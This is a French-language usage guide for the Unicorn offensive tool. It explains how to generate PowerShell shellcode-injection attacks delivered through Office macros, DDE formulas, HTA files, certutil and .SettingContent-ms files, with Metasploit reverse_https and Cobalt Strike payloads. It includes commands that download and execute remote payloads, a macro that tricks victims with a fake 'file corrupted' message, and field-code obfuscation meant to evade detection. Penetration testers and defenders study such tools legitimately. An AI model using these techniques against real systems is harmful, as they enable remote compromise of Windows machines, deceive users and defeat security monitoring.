Unicorn est un outil simple pour utiliser une attaque de rétrogradation PowerShell et injecter du shellcode directement en mémoire. Basé sur les attaques PowerShell de Matthew Graeber et la technique de contournement PowerShell présentée par David Kennedy (TrustedSec) et Josh Kelly à Defcon 18.
trustedsec/unicornÉcrit par : Dave Kennedy (@HackingDave) Site web : https://www.trustedsec.com
Magic Unicorn est un outil simple pour utiliser une attaque de rétrogradation PowerShell et injecter du shellcode directement en mémoire. Basé sur les attaques PowerShell de Matthew Graeber et la technique de contournement PowerShell présentée par David Kennedy (TrustedSec) et Josh Kelly à Defcon 18.
L'utilisation est simple, il suffit d'exécuter Magic Unicorn (assurez-vous que Metasploit est installé si vous utilisez les méthodes Metasploit et qu'il se trouve dans le bon chemin) et magic unicorn générera automatiquement une commande PowerShell que vous devrez simplement copier et coller dans une fenêtre de ligne de commande ou via un système de livraison de payload. Unicorn prend en charge votre propre shellcode, Cobalt Strike et Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Tout est désormais généré dans deux fichiers, powershell_attack.txt et unicorn.rc. Le fichier texte contient tout le code nécessaire pour injecter l'attaque PowerShell en mémoire. Notez que vous aurez besoin d'un emplacement prenant en charge l'injection de commandes à distance d'une manière ou d'une autre. Il peut s'agir souvent d'un document Excel/Word ou de commandes psexec dans Metasploit, SQLi, etc. Il y a tellement d'implications et de scénarios où vous pouvez utiliser cette attaque. Collez simplement la commande powershell_attack.txt dans n'importe quelle fenêtre d'invite de commande ou là où vous pouvez appeler l'exécutable PowerShell, et cela vous redonnera un shell. Cette attaque prend également en charge windows/download_exec comme méthode de payload au lieu des seuls payloads Meterpreter. Lorsque vous utilisez download and exec, mettez simplement python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe et le code PowerShell téléchargera le payload et l'exécutera.
Notez que vous devrez avoir un écouteur activé pour capturer l'attaque.
Pour l'attaque par macro, vous devrez aller dans Fichier, Propriétés, Rubans, et sélectionner Développeur. Une fois cela fait, vous aurez un onglet Développeur. Créez une nouvelle macro, appelez-la Auto_Open et collez le code généré dedans. Cela s'exécutera automatiquement. Notez qu'un message apparaîtra à l'utilisateur indiquant que le fichier est corrompu et fermera automatiquement le document Excel. C'EST UN COMPORTEMENT NORMAL ! Cela trompe la victime en lui faisant croire que le document Excel est corrompu. Vous devriez obtenir un shell via l'injection PowerShell après cela.
Si vous déployez cela sur des versions Office365/2016+ de Word, vous devez modifier la première ligne de la sortie de : Sub Auto_Open()
À : Sub AutoOpen()
Le nom de la macro elle-même doit également être "AutoOpen" au lieu du schéma de dénomination hérité "Auto_Open".
REMARQUE : LORS DE LA COPIE ET DU COLLAGE DANS EXCEL, SI DES ESPACES SUPPLÉMENTAIRES SONT AJOUTÉS, VOUS DEVEZ LES SUPPRIMER APRÈS CHAQUE SECTION DE CODE POWERSHELL SOUS LA VARIABLE "x" SINON UNE ERREUR DE SYNTAXE SE PRODUIRA !
L'attaque HTA générera automatiquement deux fichiers, le premier index.html qui indique au navigateur d'utiliser Launcher.hta qui contient le code d'injection PowerShell malveillant. Tous les fichiers sont exportés vers le dossier hta_access/ et il y aura trois fichiers principaux. Le premier est index.html, le deuxième Launcher.hta et le dernier, le fichier unicorn.rc. Vous pouvez exécuter msfconsole -r unicorn.rc pour lancer l'écouteur pour Metasploit.
Un utilisateur doit cliquer sur autoriser et accepter lors de l'utilisation de l'attaque HTA pour que l'injection PowerShell fonctionne correctement.
Le vecteur d'attaque certutil a été identifié par Matthew Graeber (@mattifestation) qui vous permet de prendre un fichier binaire, de le convertir au format base64 et d'utiliser certutil sur la machine victime pour le reconvertir en binaire. Cela devrait fonctionner sur pratiquement n'importe quel système et vous permettre de transférer un binaire vers la machine victime via un faux fichier de certificat. Pour utiliser cette attaque, placez simplement un exécutable dans le chemin de unicorn et exécutez python unicorn.py <exe_name> crt pour obtenir la sortie base64. Une fois cela fait, allez dans le dossier decode_attack/ qui contient les fichiers. Le fichier .bat est une commande qui peut être exécutée sur une machine Windows pour le reconvertir en binaire.
Cette méthode d'attaque vous permet de convertir n'importe quel fichier PowerShell (.ps1) en une commande encodée ou une macro.
Notez que si vous choisissez l'option macro, un fichier ps1 volumineux peut dépasser le nombre de retours à la ligne autorisé par VBA. Vous pouvez modifier le nombre de caractères dans chaque chaîne VBA en passant un entier comme paramètre.
Exemples :
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
Le dernier utilisera une chaîne de 500 caractères au lieu des 380 par défaut, ce qui entraînera moins de retours à la ligne dans VBA.
Ce vecteur d'attaque générera la formule DDEAUTO à placer dans Word ou Excel. Les objets COM DDEInitilize et DDEExecute permettent de créer des formules directement dans Office, ce qui permet d'obtenir une exécution de code à distance sans avoir besoin de macros. Cette attaque a été documentée et les instructions complètes se trouvent à l'adresse :
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Pour utiliser cette attaque, exécutez les exemples suivants :
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
Une fois généré, un fichier powershell_attack.txt sera généré contenant le code Office, et le fichier unicorn.rc qui est le composant d'écoute qui peut être appelé par msfconsole -r unicorn.rc pour gérer l'écouteur pour le payload. De plus, un fichier download.ps1 sera également exporté (expliqué dans la section suivante).
Pour appliquer le payload, à titre d'exemple (tiré de l'article sensepost) :
Une fois le document Office ouvert, vous devriez recevoir un shell via l'injection PowerShell. Notez que DDE est limité en taille de caractères et que nous devons utiliser Invoke-Expression (IEX) comme méthode de téléchargement.
L'attaque DDE tentera de télécharger download.ps1 qui est notre attaque par injection PowerShell puisque nous sommes limités en taille. Vous devrez déplacer download.ps1 vers un emplacement accessible par la machine victime. Cela signifie que vous devez héberger download.ps1 dans un répertoire Apache2 auquel elle a accès.
Vous remarquerez que certaines commandes utilisent "{ QUOTE" qui sont des moyens de masquer des commandes spécifiques, documentés ici : http://staaldraad.github.io/2017/10/23/msword-field-codes/. Dans ce cas, nous modifions WindowsPowerShell, powershell.exe et IEX pour éviter la détection. Consultez également l'URL car elle contient d'excellentes méthodes pour ne pas appeler DDE du tout.
Cette méthode importera directement le shellcode du Beacon Cobalt Strike directement depuis Cobalt Strike.
Dans Cobalt Strike, exportez l'export "CS" (C#) et sauvegardez-le dans un fichier. Par exemple, appelez le fichier cobalt_strike_file.cs.
Le code d'export ressemblera à ceci :
Ensuite, pour l'utilisation :
python unicorn.py cobalt_strike_file.cs cs
L'argument cs indique à Unicorn que vous souhaitez utiliser la fonctionnalité Cobalt Strike. Le reste est magique.
Ensuite, copiez simplement la commande PowerShell vers quelque chose où vous avez la possibilité d'exécuter des commandes à distance.
REMARQUE : LE FICHIER DOIT ÊTRE EXPORTÉ AU FORMAT C# (CS) DANS COBALT STRIKE POUR ÊTRE ANALYSÉ CORRECTEMENT.
Il y a quelques mises en garde avec cette attaque. Notez que la taille du payload sera d'un peu plus de 14k+ octets. Cela signifie que du point de vue des arguments de ligne de commande, si vous copiez et collez, vous atteindrez la limite de taille de 8191 caractères (codée en dur dans cmd.exe). Si vous lancez directement à partir de cmd.exe, c'est un problème, mais si vous lancez directement depuis PowerShell ou d'autres applications normales, ce n'est pas un problème.
Quelques exemples ici, wscript.shell et powershell utilisent USHORT - 65535 / 2 = 32767 comme limite de taille :
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
Pour cette attaque, si vous lancez directement depuis PowerShell, VBScript (WSCRIPT.SHELL), il n'y a pas de problème.
Cette méthode vous permettra d'insérer votre propre shellcode dans l'attaque Unicorn. Le code PowerShell augmentera la taille de la pile de powershell.exe (via VirtualAlloc) et l'injectera en mémoire.
Notez que pour que cela fonctionne, votre fichier texte pointé par Unicorn doit être formaté de la manière suivante, sinon cela ne fonctionnera pas :
0x00,0x00,0x00 et ainsi de suite.
Notez également qu'il y a des restrictions de taille. La longueur totale de la commande PowerShell ne peut pas dépasser 8191 caractères. C'est la taille maximale des arguments de ligne de commande dans Windows.
Utilisation :
python unicorn.py shellcode_formatted_properly.txt shellcode
Ensuite, copiez simplement la commande PowerShell vers quelque chose où vous avez la possibilité d'exécuter des commandes à distance.
REMARQUE : LE FICHIER DOIT ÊTRE CORRECTEMENT FORMATÉ AU FORMAT 0x00,0x00,0x00 SANS RIEN D'AUTRE QUE VOTRE SHELLCODE DANS LE FICHIER TEXTE.
Il y a quelques mises en garde avec cette attaque. Notez que si votre payload est de grande taille, il ne tiendra pas dans cmd.exe. Cela signifie que du point de vue des arguments de ligne de commande, si vous copiez et collez, vous atteindrez la limite de 8191 caractères (codée en dur dans cmd.exe). Si vous lancez directement à partir de cmd.exe, c'est un problème, mais si vous lancez directement depuis PowerShell ou d'autres applications normales, ce n'est pas un problème.
Quelques exemples ici, wscript.shell et powershell utilisent USHORT - 65535 / 2 = 32767 comme limite de taille :
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
Pour cette attaque, si vous lancez directement depuis PowerShell, VBScript (WSCRIPT.SHELL), il n'y a pas de problème.
Tout d'abord, si vous n'en avez pas eu l'occasion, rendez-vous sur l'excellent blog SpectreOps de Matt Nelson (enigma0x3) :
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
Cette méthode utilise un type de fichier spécifique appelé ".SettingContent-ms" qui permet à la fois des chargements directs depuis les navigateurs (ouverture + exécution de commande) ainsi qu'un type d'extension via l'intégration dans les produits Office. Celui-ci se concentrera spécifiquement sur les paramètres de type d'extension pour l'exécution de commandes dans le vecteur d'attaque PowerShell d'Unicorn.
Plusieurs méthodes sont prises en charge avec ce vecteur d'attaque. Étant donné qu'il y a une limitation de taille de caractères avec cette attaque, la méthode de déploiement est une HTA.
Pour une compréhension détaillée de l'armement de cette attaque, visitez :
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
Les étapes à suivre pour réaliser cette attaque consistent à générer votre fichier .SettingContent-ms à partir d'un standalone ou d'une HTA. La méthode HTA prend en charge Metasploit, Cobalt Strike et les attaques directes par shellcode.
Les quatre méthodes ci-dessous pour l'utilisation :
HTA SettingContent-ms Metasploit : python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example SettingContent-ms : python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms : python unicorn.py <path_to_shellcode.txt>: shellcode ms
Generate .SettingContent-ms : python unicorn.py ms
La première est un payload Metasploit, la deuxième un Cobalt Strike, la troisième votre propre shellcode, et la quatrième juste un fichier .SettingContent-ms vierge.
Lorsque tout est généré, un fichier appelé Standalone_NoASR.SettingContent-ms sera exporté soit dans le répertoire racine par défaut d'Unicorn (si vous utilisez la génération de fichier standalone) soit dans le dossier hta_attack/. Vous devrez modifier le fichier Standalone_NoASR.SettingContent-ms et remplacer :
REPLACECOOLSTUFFHERE
Par :
mshta http://<apache_server_ip_or_dns_name/Launcher.hta.
Ensuite, déplacez le contenu de hta_attack vers /var/www/html.
Une fois que la victime clique sur le fichier .SettingContent-ms, mshta sera appelé sur la machine victime, puis téléchargera le fichier HTA d'Unicorn qui possède les capacités d'exécution de code.
Remerciements spéciaux et félicitations à Matt Nelson pour cette excellente recherche
Consultez également : https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
Utilisation :
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms